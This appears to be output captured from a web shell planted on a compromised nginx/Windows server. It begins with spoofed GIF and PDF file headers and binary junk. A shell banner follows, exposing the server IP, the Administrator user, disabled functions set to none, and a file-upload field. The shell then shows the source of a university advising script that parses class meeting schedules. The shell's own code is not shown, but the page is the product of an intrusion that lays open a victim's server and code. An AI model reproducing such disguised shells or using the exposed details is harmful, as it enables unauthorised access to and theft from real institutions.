GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/Advising/ParseClasses/parse/ |
Upload File : |
<? // Admin/Admin/Advising/ParseClasses/parse/parse40.phpinc // Parse class meeting line. /** / $d_O = d_O(); d_On(); // Uncomment to DEBUG. d_Line(basename(__FILE__),'a/'); d_Var($index.': $ln',$ln); d_Var('$lnAsize',$lnAsize); d_Var('$lnA',$lnA); /**/ // *MTG START MTG END DAYS BEGIN END BLDG ROOM INSTRUCTOR $meeting = array(); $meeting['INSTRUCTOR'] = array(); $meeting['MTG_START'] = valid_date(substr($lnA[0],1)); $meeting['MTG_END'] = valid_date($lnA[1]); $meetingType = substr($ln,58,3); d_Var('$meetingType',$meetingType); if ( $meetingType == 'ON ' ) { // Is this an on_line meeting? // on_line meeting. d_Line('on_line meeting','i'); $meeting['DAYS'] = ''; $meeting['BEGIN'] = ''; $meeting['END'] = ''; $meeting['BLDG'] = ''; $meeting['ROOM'] = ''; list($instructorLast,$instructorFirst) = explode(',',str_replace(' ','',substr($ln,74).',')); $meeting['INSTRUCTOR'][] = trim($instructorFirst.' '.$instructorLast); } else if ( $meetingType == 'OFF' ) { // Is this an off_campus meeting? // off_campus meeting. d_Line('off_campus meeting','i'); $meeting['DAYS'] = ''; $meeting['BEGIN'] = ''; $meeting['END'] = ''; $meeting['BLDG'] = ''; $meeting['ROOM'] = ''; list($instructorLast,$instructorFirst) = explode(',',str_replace(' ','',substr($ln,74).',')); $meeting['INSTRUCTOR'][] = trim($instructorFirst.' '.$instructorLast); } else if ( $meetingType == ' ' && trim(substr($ln,8,63)) == '' ) { // Is this a another_Instructor? // another_Instructor. $meetingIndex--; if ( !isset($class['MEETING'][$meetingIndex]) ) { $d_O = d_O(); d_On(); // Uncomment to DEBUG. d_Line($index.': '.$class['COU_ID'].' '.$class['SUBJ'].$class['NBR'].' '.$class['TITLE'].'.','li'); if ( isset($d_O) && !$d_O ) d_Off(); } $meeting = $class['MEETING'][$meetingIndex]; d_Line('another_Instructor','i'); list($instructorLast,$instructorFirst) = explode(',',str_replace(' ','',substr($ln,74).',')); $meeting['INSTRUCTOR'][] = trim($instructorFirst.' '.$instructorLast); } else if ( substr($ln,51,1) == ':' ) { // Is this an on_campus meeting? // on_campus meeting. #d_On(); d_Line('on_campus meeting','i'); $meeting['DAYS'] = substr($ln,30,8); $meeting['BEGIN'] = valid_time(substr($ln,40,7),24); $meeting['END'] = valid_time(substr($ln,49,7),24); $meeting['BLDG'] = trim(substr($ln,58,6)); $meeting['ROOM'] = trim(substr($ln,65,4)); list($instructorLast,$instructorFirst) = explode(',',str_replace(' ','',substr($ln,74).',')); $meeting['INSTRUCTOR'][] = trim($instructorFirst.' '.$instructorLast); } else if ( $lnA[2] == 'ARR' && $lnA[3] == 'ARR' ) { // This on_campus_ARR class meeting? d_Line('on_campus_ARR meeting','i'); $meeting['DAYS'] = ''; $meeting['BEGIN'] = ''; $meeting['END'] = ''; $meeting['BLDG'] = trim(substr($ln,58,6)); $meeting['ROOM'] = trim(substr($ln,65,4)); list($instructorLast,$instructorFirst) = explode(',',str_replace(' ','',substr($ln,74).',')); $meeting['INSTRUCTOR'][] = trim($instructorFirst.' '.$instructorLast); } else if ( isset($lnA[3]) && isset($lnA[4]) && $lnA[3] == 'ARR' && $lnA[4] == 'ARR' ) { // This on_campus_ARR_DAYS class meeting? d_Line('on_campus_ARR_DAYS meeting','i'); $meeting['DAYS'] = substr($ln,30,8); $meeting['BEGIN'] = ''; $meeting['END'] = ''; $meeting['BLDG'] = trim(substr($ln,58,6)); $meeting['ROOM'] = trim(substr($ln,65,4)); list($instructorLast,$instructorFirst) = explode(',',str_replace(' ','',substr($ln,74).',')); $meeting['INSTRUCTOR'][] = trim($instructorFirst.' '.$instructorLast); } else if ( substr($ln,40,3) == ' ' && substr($ln,49,3) == ' ' ) { // This on_campus_NOTHING class meeting? d_Line('on_campus_NOTHING meeting','i'); $meeting['DAYS'] = ''; $meeting['BEGIN'] = ''; $meeting['END'] = ''; $meeting['BLDG'] = trim(substr($ln,58,6)); $meeting['ROOM'] = trim(substr($ln,65,4)); list($instructorLast,$instructorFirst) = explode(',',str_replace(' ','',substr($ln,74).',')); $meeting['INSTRUCTOR'][] = trim($instructorFirst.' '.$instructorLast); } else { // UNKNOWN class meeting type // No, UNKNOWN. d_On(); d_Line('UNKNOWN type of class meeting line.','de'); $index--; // Step back one line. dump(2); } #if ( isset($meeting['DAYS']) && !in_array($meeting['DAYS'],$days) ) $days[] = $meeting['DAYS']; $class['MEETING'][$meetingIndex] = $meeting; $meetingIndex++; d_Var('$class',$class); set_state(30); // Find meeting or note class line or next class. if ( isset($d_O) && !$d_O ) d_Off(); ?>